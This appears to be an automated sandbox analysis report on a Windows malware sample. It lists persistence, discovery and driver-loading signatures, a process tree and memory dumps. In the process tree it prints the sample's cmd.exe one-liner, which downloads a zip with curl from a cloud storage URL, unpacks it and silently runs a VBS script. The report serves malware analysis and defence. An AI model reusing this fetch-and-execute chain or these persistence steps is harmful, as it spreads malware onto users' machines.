Analysis
- max time kernel
300s - max time network
305s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/10/2026, 06:03
General
- Target Check.5242224048.exe
- Size 253KB
- Sample261002-gr1bcstsgz
- SHA256 78fc25ed9a673f26eadf03dd5472dc112155138410cd5c81f8b89ccef5bf0736
Malware Config
Signatures
- Drops file in Drivers directory 1 IoCs
- Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 56 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Check.5242224048.exe"C:\Users\Admin\AppData\Local\Temp\Check.5242224048.exe"1⤵
- Sets service image path in registry
- Adds Run key to start application
- Enumerates connected drives
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\cache.exeC:\Users\Public\cache.exe2⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DMRootCA.zip && cscript //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\curl.execurl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tar.exetar -xf C:\DMRootCA.zip -C C:\DMRootCA3⤵
-
-
-
C:\Windows\System32\drivers\kvckiller.sysC:\Windows\System32\drivers\kvckiller.sys1⤵
- Executes dropped EXE
-
C:\Users\Public\svchostsr.exeC:\Users\Public\svchostsr.exe1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
DMRootCA.zip
EmbeddedDriverService.sys
cache.exe
libcef.dll
svchostsr.exe
kvckiller.sys
memory/3872-8-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-24-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-10-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-9-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-0-0x0000000002B00000-0x0000000002B01000-memory.dmp
memory/3872-18-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-22-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-21-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-19-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-17-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-16-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-15-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-14-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-13-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-12-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-20-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-26-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-11-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-28-0x0000000010000000-0x0000000010071000-memory.dmp
memory/3872-27-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-7-0x0000000003650000-0x00000000036B0000-memory.dmp
memory/3872-44-0x0000000002D20000-0x0000000002D42000-memory.dmp
memory/3872-45-0x0000000002D20000-0x0000000002D42000-memory.dmp
memory/3872-46-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-6-0x0000000002D20000-0x0000000002D42000-memory.dmp
memory/3872-49-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-50-0x0000000010000000-0x0000000010062000-memory.dmp
memory/3872-68-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-70-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-71-0x0000000010000000-0x000000001001B000-memory.dmp
memory/3872-79-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-4-0x0000000002D20000-0x0000000002D42000-memory.dmp
memory/3872-5-0x0000000002D20000-0x0000000002D42000-memory.dmp
memory/3872-3-0x0000000002D20000-0x0000000002D42000-memory.dmp
memory/3872-85-0x00000000037F0000-0x0000000003855000-memory.dmp
memory/3872-1-0x0000000002B40000-0x0000000002BC1000-memory.dmp
memory/5824-107-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-205-0x00000000041A0000-0x0000000004205000-memory.dmp
memory/5824-89-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-90-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-92-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-105-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-104-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-103-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-102-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-98-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-97-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-94-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-91-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-100-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-99-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-101-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-95-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-96-0x00000000039E0000-0x0000000003A45000-memory.dmp
memory/5824-87-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-108-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-109-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-110-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-112-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-111-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-113-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-114-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-116-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-121-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-119-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-118-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-117-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-123-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-122-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-120-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-115-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-145-0x0000000004030000-0x0000000004095000-memory.dmp
memory/5824-86-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-157-0x00000000040D0000-0x0000000004135000-memory.dmp
memory/5824-169-0x00000000041A0000-0x0000000004205000-memory.dmp
memory/5824-181-0x0000000004030000-0x0000000004095000-memory.dmp
memory/5824-193-0x00000000045C0000-0x0000000004625000-memory.dmp
memory/5824-88-0x00000000031C0000-0x00000000031E2000-memory.dmp
memory/5824-213-0x0000000004520000-0x0000000004585000-memory.dmp
memory/5824-225-0x00000000045C0000-0x0000000004625000-memory.dmp
memory/5824-239-0x0000000004E10000-0x0000000004E75000-memory.dmp
memory/5824-249-0x0000000004520000-0x0000000004585000-memory.dmp
memory/5824-271-0x0000000004D70000-0x0000000004DD5000-memory.dmp
memory/5824-273-0x0000000004E10000-0x0000000004E75000-memory.dmp
memory/5824-288-0x0000000004FE0000-0x0000000005045000-memory.dmp
memory/5824-297-0x0000000004D70000-0x0000000004DD5000-memory.dmp
memory/5824-309-0x0000000004F40000-0x0000000004FA5000-memory.dmp
memory/5824-325-0x0000000004FE0000-0x0000000005045000-memory.dmp
memory/5824-336-0x00000000051B0000-0x0000000005215000-memory.dmp
memory/5824-349-0x0000000004F40000-0x0000000004FA5000-memory.dmp
memory/5824-360-0x0000000003920000-0x0000000003985000-memory.dmp
memory/5824-369-0x00000000051B0000-0x0000000005215000-memory.dmp
memory/5824-391-0x0000000003B30000-0x0000000003B95000-memory.dmp
memory/5824-393-0x0000000003920000-0x0000000003985000-memory.dmp
memory/5824-403-0x0000000005110000-0x0000000005175000-memory.dmp
memory/5824-421-0x0000000003B30000-0x0000000003B95000-memory.dmp
memory/5824-433-0x0000000005380000-0x00000000053E5000-memory.dmp
memory/5824-445-0x0000000005110000-0x0000000005175000-memory.dmp
memory/5824-456-0x00000000052E0000-0x0000000005345000-memory.dmp
memory/5824-469-0x0000000005380000-0x00000000053E5000-memory.dmp
memory/5824-477-0x0000000005D50000-0x0000000005DB5000-memory.dmp
memory/5824-493-0x00000000052E0000-0x0000000005345000-memory.dmp
memory/5824-508-0x0000000005CB0000-0x0000000005D15000-memory.dmp
memory/5824-517-0x0000000005D50000-0x0000000005DB5000-memory.dmp
memory/5824-535-0x0000000005F20000-0x0000000005F85000-memory.dmp
memory/5824-537-0x0000000005CB0000-0x0000000005D15000-memory.dmp
memory/5824-558-0x0000000005E80000-0x0000000005EE5000-memory.dmp
memory/5824-561-0x0000000005F20000-0x0000000005F85000-memory.dmp
memory/5824-579-0x00000000060F0000-0x0000000006155000-memory.dmp
memory/5824-585-0x0000000005E80000-0x0000000005EE5000-memory.dmp
memory/5824-606-0x0000000006050000-0x00000000060B5000-memory.dmp
memory/5824-609-0x00000000060F0000-0x0000000006155000-memory.dmp
memory/5824-627-0x00000000062C0000-0x0000000006325000-memory.dmp
memory/5824-633-0x0000000006050000-0x00000000060B5000-memory.dmp
memory/5824-655-0x0000000006220000-0x0000000006285000-memory.dmp
memory/5824-657-0x00000000062C0000-0x0000000006325000-memory.dmp
memory/5824-684-0x0000000006220000-0x0000000006285000-memory.dmp